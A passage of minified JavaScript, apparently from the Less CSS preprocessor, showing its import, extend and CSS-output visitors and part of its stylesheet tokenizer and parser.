e;var i,n=e.length;if(t||!this._implementation.isReplacing){for(i=0;i<n;i++)this.visit(e[i]);return e}var r=[];for(i=0;i<n;i++){var s=this.visit(e[i]);void 0!==s&&(s.splice?s.length&&this.flatten(s,r):r.push(s))}return r},e.prototype.flatten=function(e,t){var i,n,r,s,o,a;for(t||(t=[]),n=0,i=e.length;n<i;n++)if(void 0!==(r=e[n]))if(r.splice)for(o=0,s=r.length;o<s;o++)void 0!==(a=r[o])&&(a.splice?a.length&&this.flatten(a,t):t.push(a));else t.push(r);return t},e}(),Fe=function(){function e(e){this.imports=[],this.variableImports=[],this._onSequencerEmpty=e,this._currentDepth=0}return e.prototype.addImport=function(e){var t=this,i={callback:e,args:null,isReady:!1};return this.imports.push(i),function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];i.args=Array.prototype.slice.call(e,0),i.isReady=!0,t.tryRun()}},e.prototype.addVariableImport=function(e){this.variableImports.push(e)},e.prototype.tryRun=function(){this._currentDepth++;try{for(;;){for(;this.imports.length>0;){var e=this.imports[0];if(!e.isReady)return;this.imports=this.imports.slice(1),e.callback.apply(null,e.args)}if(0===this.variableImports.length)break;var t=this.variableImports[0];this.variableImports=this.variableImports.slice(1),t()}}finally{this._currentDepth--}0===this._currentDepth&&this._onSequencerEmpty&&this._onSequencerEmpty()},e}(),$e=function(e,t){this._visitor=new Ve(this),this._importer=e,this._finish=t,this.context=new q.Eval,this.importCount=0,this.onceFileDetectionMap={},this.recursionDetector={},this._sequencer=new Fe(this._onSequencerEmpty.bind(this))};$e.prototype={isReplacing:!1,run:function(e){try{this._visitor.visit(e)}catch(e){this.error=e}this.isFinished=!0,this._sequencer.tryRun()},_onSequencerEmpty:function(){this.isFinished&&this._finish(this.error)},visitImport:function(e,t){var i=e.options.inline;if(!e.css||i){var n=new q.Eval(this.context,C(this.context.frames)),r=n.frames[0];this.importCount++,e.isVariableImport()?this._sequencer.addVariableImport(this.processImportNode.bind(this,e,n,r)):this.processImportNode(e,n,r)}t.visitDeeper=!1},processImportNode:function(e,t,i){var n,r=e.options.inline;try{n=e.evalForImport(t)}catch(t){t.filename||(t.index=e.getIndex(),t.filename=e.fileInfo().filename),e.css=!0,e.error=t}if(!n||n.css&&!r)this.importCount--,this.isFinished&&this._sequencer.tryRun();else{n.options.multiple&&(t.importMultiple=!0);for(var s=void 0===n.css,o=0;o<i.rules.length;o++)if(i.rules[o]===e){i.rules[o]=n;break}var a=this.onImported.bind(this,n,t),l=this._sequencer.addImport(a);this._importer.push(n.getPath(),s,n.fileInfo(),n.options,l)}},onImported:function(e,t,i,n,r,s){i&&(i.filename||(i.index=e.getIndex(),i.filename=e.fileInfo().filename),this.error=i);var o=this,a=e.options.inline,l=e.options.isPlugin,u=e.options.optional,h=r||s in o.recursionDetector;if(t.importMultiple||(e.skip=!!h||function(){return s in o.onceFileDetectionMap||(o.onceFileDetectionMap[s]=!0,!1)}),!s&&u&&(e.skip=!0),n&&(e.root=n,e.importedFilename=s,!a&&!l&&(t.importMultiple||!h))){o.recursionDetector[s]=!0;var c=this.context;this.context=t;try{this._visitor.visit(n)}catch(i){this.error=i}this.context=c}o.importCount--,o.isFinished&&o._sequencer.tryRun()},visitDeclaration:function(e,t){"DetachedRuleset"===e.value.type?this.context.frames.unshift(e):t.visitDeeper=!1},visitDeclarationOut:function(e){"DetachedRuleset"===e.value.type&&this.context.frames.shift()},visitAtRule:function(e,t){this.context.frames.unshift(e)},visitAtRuleOut:function(e){this.context.frames.shift()},visitMixinDefinition:function(e,t){this.context.frames.unshift(e)},visitMixinDefinitionOut:function(e){this.context.frames.shift()},visitRuleset:function(e,t){this.context.frames.unshift(e)},visitRulesetOut:function(e){this.context.frames.shift()},visitMedia:function(e,t){this.context.frames.unshift(e.rules[0])},visitMediaOut:function(e){this.context.frames.shift()}};var Oe=function(){function e(e){this.visible=e}return e.prototype.run=function(e){this.visit(e)},e.prototype.visitArray=function(e){if(!e)return e;var t,i=e.length;for(t=0;t<i;t++)this.visit(e[t]);return e},e.prototype.visit=function(e){return e?e.constructor===Array?this.visitArray(e):(!e.blocksVisibility||e.blocksVisibility()||(this.visible?e.ensureVisibility():e.ensureInvisibility(),e.accept(this)),e):e},e}(),Le=function(){function e(){this._visitor=new Ve(this),this.contexts=[],this.allExtendsStack=[[]]}return e.prototype.run=function(e){return(e=this._visitor.visit(e)).allExtends=this.allExtendsStack[0],e},e.prototype.visitDeclaration=function(e,t){t.visitDeeper=!1},e.prototype.visitMixinDefinition=function(e,t){t.visitDeeper=!1},e.prototype.visitRuleset=function(e,t){if(!e.root){var i,n,r,s,o=[],a=e.rules,l=a?a.length:0;for(i=0;i<l;i++)e.rules[i]instanceof Ce.Extend&&(o.push(a[i]),e.extendOnEveryPath=!0);var u=e.paths;for(i=0;i<u.length;i++){var h=u[i],c=h[h.length-1].extendList;for((s=c?C(c).concat(o):o)&&(s=s.map((function(e){return e.clone()}))),n=0;n<s.length;n++)this.foundExtends=!0,(r=s[n]).findSelfSelectors(h),r.ruleset=e,0===n&&(r.firstExtendOnThisSelectorPath=!0),this.allExtendsStack[this.allExtendsStack.length-1].push(r)}this.contexts.push(e.selectors)}},e.prototype.visitRulesetOut=function(e){e.root||(this.contexts.length=this.contexts.length-1)},e.prototype.visitMedia=function(e,t){e.allExtends=[],this.allExtendsStack.push(e.allExtends)},e.prototype.visitMediaOut=function(e){this.allExtendsStack.length=this.allExtendsStack.length-1},e.prototype.visitAtRule=function(e,t){e.allExtends=[],this.allExtendsStack.push(e.allExtends)},e.prototype.visitAtRuleOut=function(e){this.allExtendsStack.length=this.allExtendsStack.length-1},e}(),De=function(){function e(){this._visitor=new Ve(this)}return e.prototype.run=function(e){var t=new Le;if(this.extendIndices={},t.run(e),!t.foundExtends)return e;e.allExtends=e.allExtends.concat(this.doExtendChaining(e.allExtends,e.allExtends)),this.allExtendsStack=[e.allExtends];var i=this._visitor.visit(e);return this.checkExtendsForNonMatched(e.allExtends),i},e.prototype.checkExtendsForNonMatched=function(e){var t=this.extendIndices;e.filter((function(e){return!e.hasFoundMatches&&1==e.parent_ids.length})).forEach((function(e){var i="_unknown_";try{i=e.selector.toCSS({})}catch(e){}t[e.index+" "+i]||(t[e.index+" "+i]=!0,ke.warn("extend '"+i+"' has no matches"))}))},e.prototype.doExtendChaining=function(e,t,i){var n,r,s,o,a,l,u,h,c=[],f=this;for(i=i||0,n=0;n<e.length;n++)for(r=0;r<t.length;r++)l=e[n],u=t[r],l.parent_ids.indexOf(u.object_id)>=0||(a=[u.selfSelectors[0]],(s=f.findMatch(l,a)).length&&(l.hasFoundMatches=!0,l.selfSelectors.forEach((function(e){var t=u.visibilityInfo();o=f.extendSelector(s,a,e,l.isVisible()),(h=new Ce.Extend(u.selector,u.option,0,u.fileInfo(),t)).selfSelectors=o,o[o.length-1].extendList=[h],c.push(h),h.ruleset=u.ruleset,h.parent_ids=h.parent_ids.concat(u.parent_ids,l.parent_ids),u.firstExtendOnThisSelectorPath&&(h.firstExtendOnThisSelectorPath=!0,u.ruleset.paths.push(o))}))));if(c.length){if(this.extendChainCount++,i>100){var p="{unable to calculate}",d="{unable to calculate}";try{p=c[0].selfSelectors[0].toCSS(),d=c[0].selector.toCSS()}catch(e){}throw{message:"extend circular reference detected. One of the circular extends is currently:"+p+":extend("+d+")"}}return c.concat(f.doExtendChaining(c,t,i+1))}return c},e.prototype.visitDeclaration=function(e,t){t.visitDeeper=!1},e.prototype.visitMixinDefinition=function(e,t){t.visitDeeper=!1},e.prototype.visitSelector=function(e,t){t.visitDeeper=!1},e.prototype.visitRuleset=function(e,t){if(!e.root){var i,n,r,s,o=this.allExtendsStack[this.allExtendsStack.length-1],a=[],l=this;for(r=0;r<o.length;r++)for(n=0;n<e.paths.length;n++)if(s=e.paths[n],!e.extendOnEveryPath){var u=s[s.length-1].extendList;u&&u.length||(i=this.findMatch(o[r],s)).length&&(o[r].hasFoundMatches=!0,o[r].selfSelectors.forEach((function(e){var t;t=l.extendSelector(i,s,e,o[r].isVisible()),a.push(t)})))}e.paths=e.paths.concat(a)}},e.prototype.findMatch=function(e,t){var i,n,r,s,o,a,l,u=e.selector.elements,h=[],c=[];for(i=0;i<t.length;i++)for(n=t[i],r=0;r<n.elements.length;r++)for(s=n.elements[r],(e.allowBefore||0===i&&0===r)&&h.push({pathIndex:i,index:r,matched:0,initialCombinator:s.combinator}),a=0;a<h.length;a++)l=h[a],""===(o=s.combinator.value)&&0===r&&(o=" "),!this.isElementValuesEqual(u[l.matched].value,s.value)||l.matched>0&&u[l.matched].combinator.value!==o?l=null:l.matched++,l&&(l.finished=l.matched===u.length,l.finished&&!e.allowAfter&&(r+1<n.elements.length||i+1<t.length)&&(l=null)),l?l.finished&&(l.length=u.length,l.endPathIndex=i,l.endPathElementIndex=r+1,h.length=0,c.push(l)):(h.splice(a,1),a--);return c},e.prototype.isElementValuesEqual=function(e,t){if("string"==typeof e||"string"==typeof t)return e===t;if(e instanceof Ce.Attribute)return e.op===t.op&&e.key===t.key&&(e.value&&t.value?(e=e.value.value||e.value)===(t=t.value.value||t.value):!e.value&&!t.value);if(e=e.value,t=t.value,e instanceof Ce.Selector){if(!(t instanceof Ce.Selector)||e.elements.length!==t.elements.length)return!1;for(var i=0;i<e.elements.length;i++){if(e.elements[i].combinator.value!==t.elements[i].combinator.value&&(0!==i||(e.elements[i].combinator.value||" ")!==(t.elements[i].combinator.value||" ")))return!1;if(!this.isElementValuesEqual(e.elements[i].value,t.elements[i].value))return!1}return!0}return!1},e.prototype.extendSelector=function(e,t,i,n){var r,s,o,a,l,u=0,h=0,c=[];for(r=0;r<e.length;r++)s=t[(a=e[r]).pathIndex],o=new Ce.Element(a.initialCombinator,i.elements[0].value,i.elements[0].isVariable,i.elements[0].getIndex(),i.elements[0].fileInfo()),a.pathIndex>u&&h>0&&(c[c.length-1].elements=c[c.length-1].elements.concat(t[u].elements.slice(h)),h=0,u++),l=s.elements.slice(h,a.index).concat([o]).concat(i.elements.slice(1)),u===a.pathIndex&&r>0?c[c.length-1].elements=c[c.length-1].elements.concat(l):(c=c.concat(t.slice(u,a.pathIndex))).push(new Ce.Selector(l)),u=a.endPathIndex,(h=a.endPathElementIndex)>=t[u].elements.length&&(h=0,u++);return u<t.length&&h>0&&(c[c.length-1].elements=c[c.length-1].elements.concat(t[u].elements.slice(h)),u++),c=(c=c.concat(t.slice(u,t.length))).map((function(e){var t=e.createDerived(e.elements);return n?t.ensureVisibility():t.ensureInvisibility(),t}))},e.prototype.visitMedia=function(e,t){var i=e.allExtends.concat(this.allExtendsStack[this.allExtendsStack.length-1]);i=i.concat(this.doExtendChaining(i,e.allExtends)),this.allExtendsStack.push(i)},e.prototype.visitMediaOut=function(e){var t=this.allExtendsStack.length-1;this.allExtendsStack.length=t},e.prototype.visitAtRule=function(e,t){var i=e.allExtends.concat(this.allExtendsStack[this.allExtendsStack.length-1]);i=i.concat(this.doExtendChaining(i,e.allExtends)),this.allExtendsStack.push(i)},e.prototype.visitAtRuleOut=function(e){var t=this.allExtendsStack.length-1;this.allExtendsStack.length=t},e}(),Ne=function(){function e(){this.contexts=[[]],this._visitor=new Ve(this)}return e.prototype.run=function(e){return this._visitor.visit(e)},e.prototype.visitDeclaration=function(e,t){t.visitDeeper=!1},e.prototype.visitMixinDefinition=function(e,t){t.visitDeeper=!1},e.prototype.visitRuleset=function(e,t){var i,n=this.contexts[this.contexts.length-1],r=[];this.contexts.push(r),e.root||((i=e.selectors)&&(i=i.filter((function(e){return e.getIsOutput()})),e.selectors=i.length?i:i=null,i&&e.joinSelectors(r,n,i)),i||(e.rules=null),e.paths=r)},e.prototype.visitRulesetOut=function(e){this.contexts.length=this.contexts.length-1},e.prototype.visitMedia=function(e,t){var i=this.contexts[this.contexts.length-1];e.rules[0].root=0===i.length||i[0].multiMedia},e.prototype.visitAtRule=function(e,t){var i=this.contexts[this.contexts.length-1];e.rules&&e.rules.length&&(e.rules[0].root=e.isRooted||0===i.length||null)},e}(),Be=function(){function e(e){this._visitor=new Ve(this),this._context=e}return e.prototype.containsSilentNonBlockedChild=function(e){var t;if(!e)return!1;for(var i=0;i<e.length;i++)if((t=e[i]).isSilent&&t.isSilent(this._context)&&!t.blocksVisibility())return!0;return!1},e.prototype.keepOnlyVisibleChilds=function(e){e&&e.rules&&(e.rules=e.rules.filter((function(e){return e.isVisible()})))},e.prototype.isEmpty=function(e){return!e||!e.rules||0===e.rules.length},e.prototype.hasVisibleSelector=function(e){return!(!e||!e.paths)&&e.paths.length>0},e.prototype.resolveVisibility=function(e,t){if(!e.blocksVisibility()){if(this.isEmpty(e)&&!this.containsSilentNonBlockedChild(t))return;return e}var i=e.rules[0];if(this.keepOnlyVisibleChilds(i),!this.isEmpty(i))return e.ensureVisibility(),e.removeVisibilityBlock(),e},e.prototype.isVisibleRuleset=function(e){return!!e.firstRoot||!this.isEmpty(e)&&!(!e.root&&!this.hasVisibleSelector(e))},e}(),Ue=function(e){this._visitor=new Ve(this),this._context=e,this.utils=new Be(e)};Ue.prototype={isReplacing:!0,run:function(e){return this._visitor.visit(e)},visitDeclaration:function(e,t){if(!e.blocksVisibility()&&!e.variable)return e},visitMixinDefinition:function(e,t){e.frames=[]},visitExtend:function(e,t){},visitComment:function(e,t){if(!e.blocksVisibility()&&!e.isSilent(this._context))return e},visitMedia:function(e,t){var i=e.rules[0].rules;return e.accept(this._visitor),t.visitDeeper=!1,this.utils.resolveVisibility(e,i)},visitImport:function(e,t){if(!e.blocksVisibility())return e},visitAtRule:function(e,t){return e.rules&&e.rules.length?this.visitAtRuleWithBody(e,t):this.visitAtRuleWithoutBody(e,t)},visitAnonymous:function(e,t){if(!e.blocksVisibility())return e.accept(this._visitor),e},visitAtRuleWithBody:function(e,t){var i=function(e){var t=e.rules;return function(e){var t=e.rules;return 1===t.length&&(!t[0].paths||0===t[0].paths.length)}(e)?t[0].rules:t}(e);return e.accept(this._visitor),t.visitDeeper=!1,this.utils.isEmpty(e)||this._mergeRules(e.rules[0].rules),this.utils.resolveVisibility(e,i)},visitAtRuleWithoutBody:function(e,t){if(!e.blocksVisibility()){if("@charset"===e.name){if(this.charset){if(e.debugInfo){var i=new Ce.Comment("/* "+e.toCSS(this._context).replace(/\n/g,"")+" */\n");return i.debugInfo=e.debugInfo,this._visitor.visit(i)}return}this.charset=!0}return e}},checkValidNodes:function(e,t){if(e)for(var i=0;i<e.length;i++){var n=e[i];if(t&&n instanceof Ce.Declaration&&!n.variable)throw{message:"Properties must be inside selector blocks. They cannot be in the root",index:n.getIndex(),filename:n.fileInfo()&&n.fileInfo().filename};if(n instanceof Ce.Call)throw{message:"Function '"+n.name+"' is undefined",index:n.getIndex(),filename:n.fileInfo()&&n.fileInfo().filename};if(n.type&&!n.allowRoot)throw{message:n.type+" node returned by a function is not valid here",index:n.getIndex(),filename:n.fileInfo()&&n.fileInfo().filename}}},visitRuleset:function(e,t){var i,n=[];if(this.checkValidNodes(e.rules,e.firstRoot),e.root)e.accept(this._visitor),t.visitDeeper=!1;else{this._compileRulesetPaths(e);for(var r=e.rules,s=r?r.length:0,o=0;o<s;)(i=r[o])&&i.rules?(n.push(this._visitor.visit(i)),r.splice(o,1),s--):o++;s>0?e.accept(this._visitor):e.rules=null,t.visitDeeper=!1}return e.rules&&(this._mergeRules(e.rules),this._removeDuplicateRules(e.rules)),this.utils.isVisibleRuleset(e)&&(e.ensureVisibility(),n.splice(0,0,e)),1===n.length?n[0]:n},_compileRulesetPaths:function(e){e.paths&&(e.paths=e.paths.filter((function(e){var t;for(" "===e[0].elements[0].combinator.value&&(e[0].elements[0].combinator=new Ce.Combinator("")),t=0;t<e.length;t++)if(e[t].isVisible()&&e[t].getIsOutput())return!0;return!1})))},_removeDuplicateRules:function(e){if(e){var t,i,n,r={};for(n=e.length-1;n>=0;n--)if((i=e[n])instanceof Ce.Declaration)if(r[i.name]){(t=r[i.name])instanceof Ce.Declaration&&(t=r[i.name]=[r[i.name].toCSS(this._context)]);var s=i.toCSS(this._context);-1!==t.indexOf(s)?e.splice(n,1):t.push(s)}else r[i.name]=i}},_mergeRules:function(e){if(e){for(var t={},i=[],n=0;n<e.length;n++){var r=e[n];if(r.merge){var s=r.name;t[s]?e.splice(n--,1):i.push(t[s]=[]),t[s].push(r)}}i.forEach((function(e){if(e.length>0){var t=e[0],i=[],n=[new Ce.Expression(i)];e.forEach((function(e){"+"===e.merge&&i.length>0&&n.push(new Ce.Expression(i=[])),i.push(e.value),t.important=t.important||e.important})),t.value=new Ce.Value(n)}}))}}};var qe={Visitor:Ve,ImportVisitor:$e,MarkVisibleSelectorsVisitor:Oe,ExtendVisitor:De,JoinSelectorVisitor:Ne,ToCSSVisitor:Ue},je=function(){var e,t,i,n,r,s,o,a=[],l={};function u(i){for(var n,a,h,c=l.i,f=t,p=l.i-o,d=l.i+s.length-p,v=l.i+=i,m=e;l.i<d;l.i++){if(n=m.charCodeAt(l.i),l.autoCommentAbsorb&&47===n){if("/"===(a=m.charAt(l.i+1))){h={index:l.i,isLineComment:!0};var g=m.indexOf("\n",l.i+2);g<0&&(g=d),l.i=g,h.text=m.substr(h.index,l.i-h.index),l.commentStore.push(h);continue}if("*"===a){var y=m.indexOf("*/",l.i+2);if(y>=0){h={index:l.i,text:m.substr(l.i,y+2-l.i),isLineComment:!1},l.i+=h.text.length-1,l.commentStore.push(h);continue}}break}if(32!==n&&10!==n&&9!==n&&13!==n)break}if(s=s.slice(i+l.i-v+p),o=l.i,!s.length){if(t<r.length-1)return s=r[++t],u(0),!0;l.finished=!0}return c!==l.i||f!==t}return l.save=function(){o=l.i,a.push({current:s,i:l.i,j:t})},l.restore=function(e){(l.i>i||l.i===i&&e&&!n)&&(i=l.i,n=e);var r=a.pop();s=r.current,o=l.i=r.i,t=r.j},l.forget=function(){a.pop()},l.isWhitespace=function(t){var i=l.i+(t||0),n=e.charCodeAt(i);return 32===n||13===n||9===n||10===n},l.$re=function(e){l.i>o&&(s=s.slice(l.i-o),o=l.i);var t=e.exec(s);return t?(u(t[0].length),"string"==typeof t?t:1===t.length?t[0]:t):null},l.$char=function(t){return e.charAt(l.i)!==t?null:(u(1),t)},l.$str=function(t){for(var i=t.length,n=0;n<i;n++)if(e.charAt(l.i+n)!==t.charAt(n))return null;return u(i),t},l.$quoted=function(t){var i=t||l.i,n=e.charAt(i);if("'"===n||'"'===n){for(var r=e.length,s=i,o=1;o+s<r;o++){switch(e.charAt(o+s)){case"\\":o++;continue;case"\r":case"\n":break;case n:var a=e.substr(s,o+1);return t||0===t?[n,a]:(u(o+1),a)}}return null}},l.$parseUntil=function(t){var i,n="",r=null,s=!1,o=0,a=[],h=[],c=e.length,f=l.i,p=l.i,d=l.i,v=!0;i="string"==typeof t?function(e){return e===t}:function(e){return t.test(e)};do{var m=e.charAt(d);if(0===o&&i(m))(r=e.substr(p,d-p))?h.push(r):h.push(" "),r=h,u(d-f),v=!1;else{if(s){"*"===m&&"/"===e.charAt(d+1)&&(d++,o--,s=!1),d++;continue}switch(m){case"\\":d++,m=e.charAt(d),h.push(e.substr(p,d-p+1)),p=d+1;break;case"/":"*"===e.charAt(d+1)&&(d++,s=!0,o++);break;case"'":case'"':(n=l.$quoted(d))?(h.push(e.substr(p,d-p),n),p=(d+=n[1].length-1)+1):(u(d-f),r=m,v=!1);break;case"{":a.push("}"),o++;break;case"(":a.push(")"),o++;break;case"[":a.push("]"),o++;break;case"}":case")":case"]":var g=a.pop();m===g?o--:(u(d-f),r=g,v=!1)}++d>c&&(v=!1)}}while(v);return r||null},l.autoCommentAbsorb=!0,l.commentStore=[],l.finished=!1,l.peek=function(t){if("string"==typeof t){for(var i=0;i<t.length;i++)if(e.charAt(l.i+i)!==t.charAt(i))return!1;return!0}return t.test(s)},l.peekChar=function(t){return e.charAt(l.i)===t},l.currentChar=function(){return e.charAt(l.i)},l.prevChar=function(){return e.charAt(l.i-1)},l.getInput=function(){return e},l.peekNotNumeric=function(){var t=e.charCodeAt(l.i);return t>57||t<43||47===t||44===t},l.start=function(n,a,h){e=n,l.i=t=o=i=0,r=a?function(e,t){var i,n,r,s,o,a,l,u,h,c=e.length,f=0,p=0,d=[],v=0;function m(t){var i=o-v;i<512&&!t||!i||(d.push(e.slice(v,o+1)),v=o+1)}for(o=0;o<c;o++)if(!((l=e.charCodeAt(o))>=97&&l<=122||l<34))switch(l){case 40:p++,n=o;continue;case 41:if(--p<0)return t("missing opening `(`",o);continue;case 59:p||m();continue;case 123:f++,i=o;continue;case 125:if(--f<0)return t("missing opening `{`",o);f||p||m();continue;case 92:if(o<c-1){o++;continue}return t("unescaped `\\`",o);case 34:case 39:case 96:for(h=0,a=o,o+=1;o<c;o++)if(!((u=e.charCodeAt(o))>96)){if(u==l){h=1;break}if(92==u){if(o==c-1)return t("unescaped `\\`",o);o++}}if(h)continue;return t("unmatched `"+String.fromCharCode(l)+"`",a);case 47:if(p||o==c-1)continue;if(47==(u=e.charCodeAt(o+1)))for(o+=2;o<c&&(!((u=e.charCodeAt(o))<=13)||10!=u&&13!=u);o++);else if(42==u){for(r=a=o,o+=2;o<c-1&&(125==(u=e.charCodeAt(o))&&(s=o),42!=u||47!=e.charCodeAt(o+1));o++);if(o==c-1)return t("missing closing `*/`",a);o++}continue;case 42:if(o<c-1&&47==e.charCodeAt(o+1))return t("unmatched `/*`",o);continue}return 0!==f?t(r>i&&s>r?"missing closing `}` or `*/`":"missing closing `}`",i):0!==p?t("missing closing `)`",n):(m(!0),d)}(n,h):[n],s=r[0],u(0)},l.end=function(){var t,r=l.i>=e.length;return l.i<i&&(t=n,l.i=i),{isFinished:r,furthest:l.i,furthestPossibleErrorMessage:t,furthestReachedEnd:l.i>=e.length-1,furthestChar:e[l.i]}},l},Te=function e(t,i,n){var r,s=je();function o(e,t){throw new R({index:s.i,filename:n.filename,type:t||"Syntax",message:e},i)}function a(e,t){var i=e instanceof Function?e.call(r):s.$re(e);if(i)return i;o(t||("string"==typeof e?"expected '"+e+"' got '"+s.currentChar()+"'":"unexpected token"))}function l(e,t){if(s.$char(e))return e;o(t||"expected '"+e+"' got '"+s.currentChar()+"'")}function u(e){var t=n.filename;return{lineNumber:I(e,s.getInput()).line+1,fileName:t}}return{parserInput:s,imports:i,fileInfo:n,parseNode:function(e,t,n,o,a){var l,u=[],h=s;try{h.start(e,!1,(function(e,t){a({message:e,index:t+n})}));for(var c=0,f=void 0,p=void 0;f=t[c];c++)if(p=h.i,l=r[f]()){try{l._index=p+n,l._fileInfo=o}catch(e){}u.push(l)}else u.push(null);h.end().isFinished?a(null,u):a(!0,null)}catch(e){throw new R({index:e.index+n,message:e.message},i,o.filename)}},parse:function(r,o,a){var l,u,h,c,f=null,p="";if(u=a&&a.globalVars?e.serializeVars(a.globalVars)+"\n":"",h=a&&a.modifyVars?"\n"+e.serializeVars(a.modifyVars):"",t.pluginManager)for(var d=t.pluginManager.getPreProcessors(),v=0;v<d.length;v++)r=d[v].process(r,{context:t,imports:i,fileInfo:n});(u||a&&a.banner)&&(p=(a&&a.banner?a.banner:"")+u,(c=i.contentsIgnoredChars)[n.filename]=c[n.filename]||0,c[n.filename]+=p.length),r=p+(r=r.replace(/\r\n?/g,"\n")).replace(/^\uFEFF/,"")+h,i.contents[n.filename]=r;try{s.start(r,t.chunkInput,(function(e,t){throw new R({index:t,type:"Parse",message:e,filename:n.filename},i)})),Ce.Node.prototype.parse=this,l=new Ce.Ruleset(null,this.parsers.primary()),Ce.Node.prototype.rootNode=l,l.root=!0,l.firstRoot=!0,l.functionRegistry=J.inherit()}catch(e){return o(new R(e,i,n.filename))}var m=s.end();if(!m.isFinished){var g=m.furthestPossibleErrorMessage;g||(g="Unrecognised input","}"===m.furthestChar?g+=". Possibly missing opening '{'":")"===m.furthestChar?g+=". Possibly missing opening '('":m.furthestReachedEnd&&(g+=". Possibly missing something")),f=new R({type:"Parse",message:g,index:m.furthest,filename:n.filename},i)}var y=function(e){return(e=f||e||i.error)?(e instanceof R||(e=new R(e,i,n.filename)),o(e)):o(null,l)};if(!1===t.processImports)return y();new qe.ImportVisitor(i,y).run(l)},parsers:r={primary:function(){for(var e,t=this.mixin,i=[];;){for(;e=this.comment();)i.push(e);if(s.finished)break;if(s.peek("}"))break;if(e=this.extendRule())i=i.concat(e);else if(e=t.definition()||this.declaration()||t.call(!1,!1)||this.ruleset()||this.variableCall()||this.entities.call()||this.atrule())i.push(e);else{for(var n=!1;s.$char(";");)n=!0;if(!n)break}}return i},comment:function(){if(s.commentStore.length){var e=s.commentStore.shift();return new Ce.Comment(e.text,e.isLineComment,e.index,n)}},entities:{mixinLookup:function(){return r.mixin.call(!0,!0)},quoted:function(e){var t,i=s.i,r=!1;if(s.save(),s.$char("~"))r=!0;else if(e)return void s.restore();if(t=s.$quoted())return s.forget(),new Ce.Quoted(t.charAt(0),t.substr(1,t.length-2),r,i,n);s.restore()},keyword:function(){var e=s.$char("%")||s.$re(/^\[?(?:[\w-]|\\(?:[A-Fa-f0-9]{1,6} ?|[^A-Fa-f0-9]))+\]?/);if(e)return Ce.Color.fromKeyword(e)||new Ce.Keyword(e)},call:function(){var e,t,i,r=s.i;if(!s.peek(/^url\(/i))if(s.save(),e=s.$re(/^([\w-]+|%|progid:[\w\.]+)\(/)){if(e=e[1],(i=this.customFuncCall(e))&&(t=i.parse())&&i.stop)return s.forget(),t;if(t=this.arguments(t),s.$char(")"))return s.forget(),new Ce.Call(e,t,r,n);s.restore("Could not parse call arguments or missing ')'")}else s.forget()},customFuncCall:function(e){return{alpha:t(r.ieAlpha,!0),boolean:t(i),if:t(i)}[e.toLowerCase()];function t(e,t){return{parse:e,stop:t}}function i(){return[a(r.condition,"expected condition")]}},arguments:function(e){var t,i,n=e||[],o=[];for(s.save();;){if(e)e=!1;else{if(!(i=r.detachedRuleset()||this.assignment()||r.expression()))break;i.value&&1==i.value.length&&(i=i.value[0]),n.push(i)}s.$char(",")||(s.$char(";")||t)&&(t=!0,i=n.length<1?n[0]:new Ce.Value(n),o.push(i),n=[])}return s.forget(),t?o:n},literal:function(){return this.dimension()||this.color()||this.quoted()||this.unicodeDescriptor()},assignment:function(){var e,t;if(s.save(),e=s.$re(/^\w+(?=\s?=)/i))if(s.$char("=")){if(t=r.entity())return s.forget(),new Ce.Assignment(e,t);s.restore()}else s.restore();else s.restore()},url:function(){var e,t=s.i;if(s.autoCommentAbsorb=!1,s.$str("url("))return e=this.quoted()||this.variable()||this.property()||s.$re(/^(?:(?:\\[\(\)'"])|[^\(\)'"])+/)||"",s.autoCommentAbsorb=!0,l(")"),new Ce.URL(null!=e.value||e instanceof Ce.Variable||e instanceof Ce.Property?e:new Ce.Anonymous(e,t),t,n);s.autoCommentAbsorb=!0},variable:function(){var e,t,i=s.i;if(s.save(),"@"===s.currentChar()&&(t=s.$re(/^@@?[\w-]+/))){if("("===(e=s.currentChar())||"["===e&&!s.prevChar().match(/^\s/)){var o=r.variableCall(t);if(o)return s.forget(),o}return s.forget(),new Ce.Variable(t,i,n)}s.restore()},variableCurly:function(){var e,t=s.i;if("@"===s.currentChar()&&(e=s.$re(/^@\{([\w-]+)\}/)))return new Ce.Variable("@"+e[1],t,n)},property:function(){var e,t=s.i;if("$"===s.currentChar()&&(e=s.$re(/^\$[\w-]+/)))return new Ce.Property(e,t,n)},propertyCurly:function(){var e,t=s.i;if("$"===s.currentChar()&&(e=s.$re(/^\$\{([\w-]+)\}/)))return new Ce.Property("$"+e[1],t,n)},color:function(){var e;if(s.save(),"#"===s.currentChar()&&(e=s.$re(/^#([A-Fa-f0-9]{8}|[A-Fa-f0-9]{6}|[A-Fa-f0-9]{3,4})([\w.#\[])?/))&&!e[2])return s.forget(),new Ce.Color(e[1],void 0,e[0]);s.restore()},colorKeyword:function(){s.save();var e=s.autoCommentAbsorb;s.autoCommentAbsorb=!1;var t=s.$re(/^[_A-Za-z-][_A-Za-z0-9-]+/);if(s.autoCommentAbsorb=e,t){s.restore();var i=Ce.Color.fromKeyword(t);return i?(s.$str(t),i):void 0}s.forget()},dimension:function(){if(!s.peekNotNumeric()){var e=s.$re(/^([+-]?\d*\.?\d+)(%|[a-z_]+)?/i);return e?new Ce.Dimension(e[1],e[2]):void 0}},unicodeDescriptor:function(){var e;if(e=s.$re(/^U\+[0-9a-fA-F?]+(\-[0-9a-fA-F?]+)?/))return new Ce.UnicodeDescriptor(e[0])},javascript:function(){var e,t=s.i;s.save();var i=s.$char("~");if(s.$char("`")){if(e=s.$re(/^[^`]*`/))return s.forget(),new Ce.JavaScript(e.substr(0,e.length-1),Boolean(i),t,n);s.restore("invalid javascript definition")}else s.restore()}},variable:function(){var e;if("@"===s.currentChar()&&(e=s.$re(/^(@[\w-]+)\s*:/)))return e[1]},variableCall:function(e){var t,i=s.i,o=!!e,a=e;if(s.save(),a||"@"===s.currentChar()&&(a=s.$re(/^(@[\w-]+)(\(\s*\))?/))){if(!(t=this.mixin.ruleLookups())&&(o&&"()"!==s.$str("()")||"()"!==a[2]))return void s.restore("Missing '[...]' lookup in variable call");o||(a=a[1]);var l=new Ce.VariableCall(a,i,n);return!o&&r.end()?(s.forget(),l):(s.forget(),new Ce.NamespaceValue(l,t,i,n))}s.restore()},extend:function(e){var t,i,r,l,u,h=s.i;if(s.$str(e?"&:extend(":":extend(")){do{for(r=null,t=null;!(r=s.$re(/^(all)(?=\s*(\)|,))/))&&(i=this.element());)t?t.push(i):t=[i];r=r&&r[1],t||o("Missing target selector for :extend()."),u=new Ce.Extend(new Ce.Selector(t),r,h,n),l?l.push(u):l=[u]}while(s.$char(","));return a(/^\)/),e&&a(/^;/),l}},extendRule:function(){return this.extend(!0)},mixin:{call:function(e,t){var 